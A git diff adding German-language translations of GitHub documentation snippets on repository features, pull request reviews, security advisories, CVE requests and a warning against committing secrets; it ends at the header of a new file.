+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147110377"
+---
+<table style="width:20%">
+<thead>
+<tr>
+<th style="text-align:left">Inhalt</th>
+<th style="text-align:left">emoji</th>
+</tr>
+</thead>
+<tbody>
+<tr>
+<td style="text-align:left"><code>+1</code></td>
+<td style="text-align:left">👍</td>
+</tr>
+<tr>
+<td style="text-align:left"><code>-1</code></td>
+<td style="text-align:left">👎</td>
+</tr>
+<tr>
+<td style="text-align:left"><code>laugh</code></td>
+<td style="text-align:left">😄</td>
+</tr>
+<tr>
+<td style="text-align:left"><code>confused</code></td>
+<td style="text-align:left">😕</td>
+</tr>
+<tr>
+<td style="text-align:left"><code>heart</code></td>
+<td style="text-align:left">❤️</td>
+</tr>
+<tr>
+<td style="text-align:left"><code>hooray</code></td>
+<td style="text-align:left">🎉</td>
+</tr>
+<tr>
+<td style="text-align:left"><code>rocket</code></td>
+<td style="text-align:left">🚀</td>
+</tr>
+<tr>
+<td style="text-align:left"><code>eyes</code></td>
+<td style="text-align:left">👀</td>
+</tr>
+</tbody>
+</table>
diff --git a/translations/de-DE/data/reusables/repositories/relative-links.md b/translations/de-DE/data/reusables/repositories/relative-links.md
new file mode 100644
index 0000000000..8c723d219b
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/relative-links.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 20b17f568debf8a418827882dd6d1cc9815445a0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146171861"
+---
+Du kannst relative Links und Bildpfade in deinen gerenderten Dateien definieren, um Leser dabei zu unterstützen, in deinem Repository zu anderen Dateien zu navigieren.
+
+Ein relativer Link ist ein Verknüpfung, die relativ zur aktuellen Datei ist. Wenn sich beispielsweise eine README-Datei im Root deines Repositorys und eine andere Datei in _docs/CONTRIBUTING.md_ befindet, sieht der relative Link zu _CONTRIBUTING.md_ in deiner README-Datei wie folgt aus:
+
+```
+[Contribution guidelines for this project](docs/CONTRIBUTING.md)
+```
+
+{% data variables.product.product_name %} wandelt deinen relativen Link oder den Bildpfad automatisch anhand dessen um, auf welchem Branch du dich gerade befindest, damit der Link oder der Pfad immer funktioniert. Der Pfad des Links ist relativ zur aktuellen Datei. Links, die mit `/` beginnen, sind relativ zum Repositorystamm. Du kannst alle relativen Linkoperanden verwenden, z. B. `./` und `../`.
+
+Relative Links sind für Benutzer, die dein Repository klonen, einfacher zu verwenden. Absolute Links funktionieren möglicherweise nicht in Klons deines Repositorys - wir empfehlen relative Links zu verwenden, um auf andere Dateien in deinem Repository zu verweisen.
diff --git a/translations/de-DE/data/reusables/repositories/releases.md b/translations/de-DE/data/reusables/repositories/releases.md
new file mode 100644
index 0000000000..76ce109899
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/releases.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 102dd661861273496f8139e93b4f3df1346468b6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105664"
+---
+1. Klicke rechts neben der Liste der Dateien auf **Releases**.
+  ![Abschnitt „Releases“ auf der rechten Randleiste](/assets/images/help/releases/release-link.png)
diff --git a/translations/de-DE/data/reusables/repositories/repo-name.md b/translations/de-DE/data/reusables/repositories/repo-name.md
new file mode 100644
index 0000000000..1bfe0d2f84
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/repo-name.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b22402b872b5ddb62e79ddad443d2bc3a3e830ed
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090571"
+---
+1. Gib einen Namen und eine optionale Beschreibung für Dein Repository ein.
+   ![Feld „Repository erstellen“](/assets/images/help/repository/create-repository-name.png)
diff --git a/translations/de-DE/data/reusables/repositories/repo-size-limit.md b/translations/de-DE/data/reusables/repositories/repo-size-limit.md
new file mode 100644
index 0000000000..5a3adcf034
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/repo-size-limit.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6c50b55e8ed8a7b56e65c23d1f6efc6870eb67c0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105663"
+---
+{% ifversion fpt or ghec %} Für Repositorys und einzelne Dateien gelten Größenbeschränkungen. Weitere Informationen findest du unter [Welches Datenträgerkontingent gilt für mich?](/articles/what-is-my-disk-quota)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/reported-content-resolved-tab.md b/translations/de-DE/data/reusables/repositories/reported-content-resolved-tab.md
new file mode 100644
index 0000000000..4db8ae0dc9
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/reported-content-resolved-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2757012833648833b1c927370d625a5ef161d7b7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090570"
+---
+1. Klicke unter „Missbrauchsberichte“ auf **Aufgelöst**.
+  ![Registerkarte „Aufgelöst“ unter „Missbrauchsberichte“](/assets/images/help/repository/reported-content-resolved-tab.png)
diff --git a/translations/de-DE/data/reusables/repositories/repository-branches.md b/translations/de-DE/data/reusables/repositories/repository-branches.md
new file mode 100644
index 0000000000..3b0b72e5a1
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/repository-branches.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Code and automation" section of the sidebar, click **{% octicon "git-branch" aria-label="The git-branch icon" %} Branches**.
+{% else %}
+1. In the left menu, click **Branches**.
+![Repository options sub-menu](/assets/images/help/repository/repository-options-branch.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/request-changes-tips.md b/translations/de-DE/data/reusables/repositories/request-changes-tips.md
new file mode 100644
index 0000000000..246a355ea2
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/request-changes-tips.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: e4a946e027ffef0f6e52a55d3591eb0a00556625
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090565"
+---
+{% tip %}
+
+**Tipps**:
+- Wenn erforderliche Reviews aktiviert sind und ein Mitarbeiter mit _Schreib_-, _Administrator_- oder _Besitzer_-Zugriff auf das Repository einen Review sendet, in dem Änderungen angefordert werden, kann der Pull Request erst gemergt werden, wenn derselbe Mitarbeiter einen weiteren Review sendet, in dem die Änderungen am Pull Request genehmigt werden.
+- Repository-Inhaber und -Administratoren können einen Pull Request sogar dann zusammenführen, wenn er keinen genehmigenden Review erhalten hat oder wenn ein Reviewer, der die Änderungen verlangt hat, die Organisation verlassen hat oder nicht verfügbar ist.
+- Wenn sowohl erforderliche Reviews wie das Verwerfen veralteter Reviews aktiviert sind und ein den Code verändernder Commit an den Branch eines genehmigten Pull Requests übermittelt wird, dann wird die Genehmigung verworfen. Der Pull Request muss erneut überprüft und genehmigt werden, bevor er zusammengeführt werden kann.
+- Wenn verschiedene offene Pull Requests jeweils einen Head-Branch aufweisen, der auf denselben Commit verweist, kannst Du sie nicht zusammenführen, wenn der Review bei einer oder bei beiden ausstehend ist oder abgelehnt wurde.
+- Wenn dein Repository Genehmigungsreviews von Personen mit Schreib- oder Administratorberechtigungen erfordert, werden alle Genehmigungen von Personen mit diesen Berechtigungen mit einem grünen Häkchen markiert, Genehmigungen von Personen ohne diese Berechtigungen erhalten ein graues Häkchen. Genehmigungen mit einem grauen Häkchen wirken sich nicht darauf aus, ob der Pull Request gemergt werden kann.
+- Ersteller von Pull Requests können ihre Pull Requests nicht selbst genehmigen.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/repositories/request-security-advisory-cve-id.md b/translations/de-DE/data/reusables/repositories/request-security-advisory-cve-id.md
new file mode 100644
index 0000000000..e5530ecd71
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/request-security-advisory-cve-id.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: f4005af1cc149aa4d6b86afca4025ef13aeb65e6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105659"
+---
+Wenn du eine CVE-Identifikationsnummer für das Sicherheitsrisiko in deinem Projekt wünschst und noch keine hast, kannst du eine CVE-Identifikationsnummer bei {% data variables.product.prodname_dotcom %} anfordern. {% data variables.product.prodname_dotcom %} prüft die Anforderung normalerweise binnen 72 Stunden. Durch Anfordern einer CVE-Identifikationsnummer wird deine Sicherheitsempfehlung nicht publik gemacht. Wenn deine Sicherheitsempfehlung für ein CVE in Frage kommt, reserviert {% data variables.product.prodname_dotcom %} eine CVE-Identifikationsnummer für deine Empfehlung. Wir veröffentlichen dann die CVE-Details, nachdem du deine Sicherheitsempfehlung publik gemacht hast. Personen mit Administratorberechtigungen für eine Sicherheitsempfehlung können eine CVE-Identifikationsnummer anfordern.
+
+Wenn du bereits eine CVE hast, die du verwenden möchtest, z. B. weil du eine andere CNA (CVE Numbering Authority) als {% data variables.product.prodname_dotcom %} verwendest, füge die CVE in das Sicherheitsempfehlungsformular ein. Das kann z. B. der Fall sein, wenn du die Empfehlung mit anderen Mitteilungen in Einklang bringen möchtest, die du zum Veröffentlichungszeitpunkt senden möchtest. {% data variables.product.prodname_dotcom %} kann deinem Projekt keine CVEs zuweisen, wenn es von einer anderen CNA bearbeitet wird.
diff --git a/translations/de-DE/data/reusables/repositories/return-to-source-diff.md b/translations/de-DE/data/reusables/repositories/return-to-source-diff.md
new file mode 100644
index 0000000000..bb02c83487
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/return-to-source-diff.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 5c9f5fcc7d8c9ad75b9ce14ee3f952e4f3551975
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090564"
+---
+1. Du solltest auch das Quell-Diff überprüfen, da es möglicherweise Änderungen an der Manifest- oder Sperrdatei gibt, die keine Abhängigkeiten ändern. Zudem besteht die Möglichkeit, dass Abhängigkeiten verfügbar sind, die {% data variables.product.prodname_dotcom %} nicht analysieren kann und die daher nicht in der Abhängigkeitsüberprüfung angezeigt werden.
+
+   Klicke auf die Schaltfläche **{% octicon "code" aria-label="The source diff icon" %}** , um zur Ansicht für das Quell-Diff zurückzukehren.
+
+   ![Schaltfläche für das Quell-Diff](/assets/images/help/pull_requests/dependency-review-source-diff.png)
diff --git a/translations/de-DE/data/reusables/repositories/review-changes.md b/translations/de-DE/data/reusables/repositories/review-changes.md
new file mode 100644
index 0000000000..3a6377f5d3
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/review-changes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c3d29f873a844799cdc85a4b13c18a75c766d5ee
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105656"
+---
+1. Klicke oberhalb des geänderten Codes auf **Änderungen überprüfen**.
+![Schaltfläche „Änderungen überprüfen“](/assets/images/help/pull_requests/review-changes-button.png)
diff --git a/translations/de-DE/data/reusables/repositories/review-policy-overlapping-commits.md b/translations/de-DE/data/reusables/repositories/review-policy-overlapping-commits.md
new file mode 100644
index 0000000000..e04f3a71c5
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/review-policy-overlapping-commits.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b4b90e1487e5bf3e7b22d4b102d2a99ba16f0e3d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090559"
+---
+Selbst nachdem alle erforderlichen Reviewer einen Pull Request genehmigt haben, können Mitarbeiter den Pull Request nicht mergen, wenn andere offene Pull Requests mit einem HEAD-Branch vorhanden sind, der auf denselben Commit mit ausstehenden oder abgelehnten Reviews verweist. Zuerst muss eine Person mit Schreibberechtigungen den blockierenden Review für den anderen Pull Request genehmigen oder schließen.
diff --git a/translations/de-DE/data/reusables/repositories/review-pr-commits.md b/translations/de-DE/data/reusables/repositories/review-pr-commits.md
new file mode 100644
index 0000000000..15945954c5
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/review-pr-commits.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: cf852ef4c15862ee59e03dbe72c662b96feebeab
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105648"
+---
+1. Klicke für den Pull Request auf {% octicon "git-commit" aria-label="The commit icon" %} **Commits**.
+![Registerkarte „Commits“ für einen Pull Request](/assets/images/help/pull_requests/pull-request-tabs-commits.png)
diff --git a/translations/de-DE/data/reusables/repositories/review-summary-comment.md b/translations/de-DE/data/reusables/repositories/review-summary-comment.md
new file mode 100644
index 0000000000..38a0094ebe
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/review-summary-comment.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 769014a973dfbb42eb15626429959d91cd7887f0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090558"
+---
+1. Gib einen Kommentar ein, der Dein Feedback für die vorgeschlagenen Änderungen zusammenfasst.
+![Fenster „Kommentar zur Review-Zusammenfassung“](/assets/images/help/pull_requests/review-summary-comment-window.png)
diff --git a/translations/de-DE/data/reusables/repositories/section-links.md b/translations/de-DE/data/reusables/repositories/section-links.md
new file mode 100644
index 0000000000..bfb325f57c
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/section-links.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 187ba17c1958bdeaca801ac602c46421e1963b54
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105635"
+---
+Du kannst direkt zu einem Abschnitt in einer gerenderten Datei verweisen, indem Du den Mauszeiger über den Abschnittstitel bewegst, um den Link sichtbar zu machen:
+
+![Abschnittslink innerhalb der README-Datei für das github/scientist-Repository](/assets/images/help/repository/readme-links.png)
diff --git a/translations/de-DE/data/reusables/repositories/security-advisories-republishing.md b/translations/de-DE/data/reusables/repositories/security-advisories-republishing.md
new file mode 100644
index 0000000000..946768f444
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-advisories-republishing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7b189ead10534e3ac5330033621ce26f9185e729
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: "148114038"
+---
+Du kannst auch Sicherheitsempfehlungen für Repositorys verwenden, um die Details eines bereits an anderer Stelle gemeldeten Sicherheitsrisikos erneut zu veröffentlichen. Kopiere hierfür die Details des Sicherheitsrisikos, und füge sie in eine neue Sicherheitsempfehlung ein.
diff --git a/translations/de-DE/data/reusables/repositories/security-advisory-admin-permissions.md b/translations/de-DE/data/reusables/repositories/security-advisory-admin-permissions.md
new file mode 100644
index 0000000000..9de3fcc539
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-advisory-admin-permissions.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 68d9ec76546df99c33306c7b76f6bd8e4ce076dc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105632"
+---
+Jeder, der über Administratorberechtigungen für ein Repository verfügt, kann einen Sicherheitshinweis erstellen.
+
+Jeder, der über Administratorberechtigungen für ein Repository verfügt hat auch Administratorberechtigungen auf alle Sicherheitshinweise in diesem Repository. Personen mit Administratorberechtigungen für einen Sicherheitshinweis können Mitarbeiter hinzufügen und Mitarbeiter haben Schreib-Berechtigungen zu diesem Sicherheitshinweis.
diff --git a/translations/de-DE/data/reusables/repositories/security-advisory-collaborators-public-repositories.md b/translations/de-DE/data/reusables/repositories/security-advisory-collaborators-public-repositories.md
new file mode 100644
index 0000000000..c6b0390186
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-advisory-collaborators-public-repositories.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2afb1b3c1ba7b45c564d5717d5f0f06ff4671daf
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090541"
+---
+Wenn Du einen Benutzer aus einem Repository oder einer Organisation entfernst und der Benutzer auch ein Mitarbeiter eines Sicherheitshinweises ist, hat der Benutzer weiterhin Zugriff auf den Sicherheitshinweis.
diff --git a/translations/de-DE/data/reusables/repositories/security-advisory-edit-cwe-cve.md b/translations/de-DE/data/reusables/repositories/security-advisory-edit-cwe-cve.md
new file mode 100644
index 0000000000..a8cebf6749
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-advisory-edit-cwe-cve.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 144bfacee2ad8acb91211f080b4039c199126822
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105631"
+---
+1. Füge Common Weakness Enumerators (CWEs) für die Arten von Sicherheitslücken hinzu, die diese Sicherheitsempfehlung behandelt. Eine vollständige Liste der CWEs findest du in der [Common Weakness Enumeration](https://cwe.mitre.org/index.html) von MITRE.
+1. Wenn du bereits über einen CVE-Bezeichner verfügst, wähle „Ich verfüge über einen vorhandene CVE-Bezeichner“ aus, und gib den CVE-Bezeichner in das Textfeld ein. Andernfalls kannst du später einen CVE-Bezeichner bei {% data variables.product.prodname_dotcom %} anfordern. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories#cve-identification-numbers).
diff --git a/translations/de-DE/data/reusables/repositories/security-advisory-edit-description.md b/translations/de-DE/data/reusables/repositories/security-advisory-edit-description.md
new file mode 100644
index 0000000000..196674990c
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-advisory-edit-description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 82d3b95dd7a6defb7a9909aa6faa359f4232da96
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090535"
+---
+1. Gib eine Beschreibung der Sicherheitslücke ein.
+  ![Beschreibung des Sicherheitsrisikos im Sicherheitshinweis](/assets/images/help/security/security-advisory-description.png)
diff --git a/translations/de-DE/data/reusables/repositories/security-advisory-edit-details.md b/translations/de-DE/data/reusables/repositories/security-advisory-edit-details.md
new file mode 100644
index 0000000000..6d8eb0fb64
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-advisory-edit-details.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3d27adaffb72590a7fa08bb6d94c2e627fde6bc3
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107653"
+---
+1. Bearbeite das Produkt und die Versionen, die von dem Sicherheitsrisiko betroffen sind, auf das sich dieser Sicherheitshinweis bezieht. Gegebenenfalls kannst du demselben Hinweis mehrere betroffene Produkte hinzufügen. 
+  ![Sicherheitsempfehlungsmetadaten](/assets/images/help/security/security-advisory-affected-product.png) Informationen zum Angeben von Informationen zum Formular, einschließlich betroffener Versionen, findest du unter [Bewährte Methoden zum Schreiben von Sicherheitsempfehlungen für Repositorys](/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories).
diff --git a/translations/de-DE/data/reusables/repositories/security-advisory-edit-severity.md b/translations/de-DE/data/reusables/repositories/security-advisory-edit-severity.md
new file mode 100644
index 0000000000..1b0e2b8736
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-advisory-edit-severity.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 565d4b5049e4be1a9804149a0ba40e649367b2f9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882159"
+---
+1. Wähle den Schweregrad der Sicherheitslücke aus. Um einen CVSS-Score zuzuweisen, wähle „Schweregrad mithilfe von CVSS bewerten“ aus, und klicke auf die entsprechenden Werte im Rechner. {% data variables.product.product_name %} berechnet den Score gemäß dem [Common Vulnerability Scoring System Calculator](https://www.first.org/cvss/calculator).
+  ![Dropdownmenü zum Auswählen des Schweregrads](/assets/images/help/security/security-advisory-severity.png)
diff --git a/translations/de-DE/data/reusables/repositories/security-alert-delivery-options.md b/translations/de-DE/data/reusables/repositories/security-alert-delivery-options.md
new file mode 100644
index 0000000000..5c2d9404e4
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-alert-delivery-options.md
@@ -0,0 +1,3 @@
+{% ifversion not ghae %}
+If your repository has a supported dependency manifest{% ifversion fpt or ghec %} (and if you've set up the dependency graph if it's a private repository){% endif %}, whenever {% data variables.product.product_name %} detects a vulnerable dependency in your repository, you will receive a weekly digest email. You can also configure your security alerts as web notifications, individual email notifications, daily email digests, or alerts in the {% data variables.product.product_name %} interface. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+{% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/security-alerts-x-github-severity.md b/translations/de-DE/data/reusables/repositories/security-alerts-x-github-severity.md
new file mode 100644
index 0000000000..1b34c77217
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-alerts-x-github-severity.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ee85e47f16ce68dbd3cac0f339069b9dbe6a00ea
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105623"
+---
+E-Mail-Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %}, die mindestens ein Repository betreffen, enthalten das Kopfzeilenfeld `X-GitHub-Severity`. Du kannst den Wert des Kopfzeilenfelds `X-GitHub-Severity` verwenden, um E-Mail-Benachrichtigungen für {% data variables.product.prodname_dependabot_alerts %} zu filtern.
diff --git a/translations/de-DE/data/reusables/repositories/security-guidelines.md b/translations/de-DE/data/reusables/repositories/security-guidelines.md
new file mode 100644
index 0000000000..341503c40e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/security-guidelines.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cacb54e3b13cf02d1decf4fa78af6f76427d1a5a
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105620"
+---
+Du kannst eine Sicherheitsrichtlinie erstellen, um Anweisungen für das Melden von Sicherheitsrisiken in deinem Projekt zu geben. Weitere Informationen findest du unter [Hinzufügen einer Sicherheitsrichtlinie zu deinem Repository](/code-security/getting-started/adding-a-security-policy-to-your-repository).
diff --git a/translations/de-DE/data/reusables/repositories/select-items-in-issue-or-pr-list.md b/translations/de-DE/data/reusables/repositories/select-items-in-issue-or-pr-list.md
new file mode 100644
index 0000000000..8533db536e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/select-items-in-issue-or-pr-list.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: cbfe216c5621df577e91185f801425df8beb2dce
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879059"
+---
+3. Aktiviere das Kontrollkästchen neben den Objekten, auf die Du eine Kennzeichnung anbringen möchtest.
+  ![Kontrollkästchen für Issuemetadaten](/assets/images/help/issues/issues_assign_checkbox.png)
diff --git a/translations/de-DE/data/reusables/repositories/select-marketplace-apps.md b/translations/de-DE/data/reusables/repositories/select-marketplace-apps.md
new file mode 100644
index 0000000000..8b0fe1ce94
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/select-marketplace-apps.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 43a6621b1a7034d12f756bcd8b53bd461e28b505
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105616"
+---
+{% ifversion fpt or ghec %}
+1. Wenn das persönliche Konto oder die Organisation, wo du Erstellungen vornimmst, {% data variables.product.prodname_github_apps %} aus {% data variables.product.prodname_marketplace %} verwendet, kannst du optional die Apps auswählen, die du im Repository verwenden möchtest.
+  ![Liste der {% data variables.product.prodname_github_apps %} Ihres Kontos von {% data variables.product.prodname_marketplace %} und Option zum Gewähren von Zugriff](/assets/images/help/repository/create-repository-choose-marketplace-apps.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/repositories/sensitive-info-warning.md b/translations/de-DE/data/reusables/repositories/sensitive-info-warning.md
new file mode 100644
index 0000000000..e1f7f15873
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sensitive-info-warning.md
@@ -0,0 +1,22 @@
+---
+ms.openlocfilehash: 6401640a3202133edc0d35cc683a65e314474bdb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105608"
+---
+{% warning %}
+
+**Warnung:** Niemals `git add`, `commit` oder `push` vertrauliche Informationen zu einem Remoterepository. Sensitive Informationen können folgendes beinhalten, sind aber nicht beschränkt auf:
+
+- Kennwörter
+- SSH-Schlüssel
+- [AWS-Zugriffsschlüssel](http://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSGettingStartedGuide/AWSCredentials.html)
+- API-Schlüssel
+- Kreditkartennummer
+- PIN-Nummern
+
+Weitere Informationen findest du unter [Entfernen sensibler Daten aus einem Repository](/articles/removing-sensitive-data-from-a-repository).
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/repositories/settings-sidebar-actions-general.md b/translations/de-DE/data/reusables/repositories/settings-sidebar-actions-general.md
new file mode 100644
index 0000000000..14789aea6c
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/settings-sidebar-actions-general.md
@@ -0,0 +1 @@
+{% data reusables.actions.settings-ui.settings-actions-general %}
diff --git a/translations/de-DE/data/reusables/repositories/settings-sidebar-actions-runners.md b/translations/de-DE/data/reusables/repositories/settings-sidebar-actions-runners.md
new file mode 100644
index 0000000000..c667ed1528
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/settings-sidebar-actions-runners.md
@@ -0,0 +1 @@
+{% data reusables.actions.settings-ui.settings-actions-runners %}
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-advisories.md b/translations/de-DE/data/reusables/repositories/sidebar-advisories.md
new file mode 100644
index 0000000000..81c56d554e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/sidebar-advisories.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 309963c78d20d0ae2bb067deed484e5eb45dc43c
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879100"
+---
+1. Klicke auf der linken Randleiste auf **Sicherheitshinweise**.
+  ![Registerkarte „Sicherheitshinweise“](/assets/images/help/security/advisories-tab.png)
diff --git a/translations/de-DE/data/reusables/repositories/sidebar-code-scanning-alerts.md b/translations/de-DE/data/reusables/repositories/sidebar-code-scanning-alerts.md
new file mode 100644
index 0000000000..c2940031fa
--- /dev/null
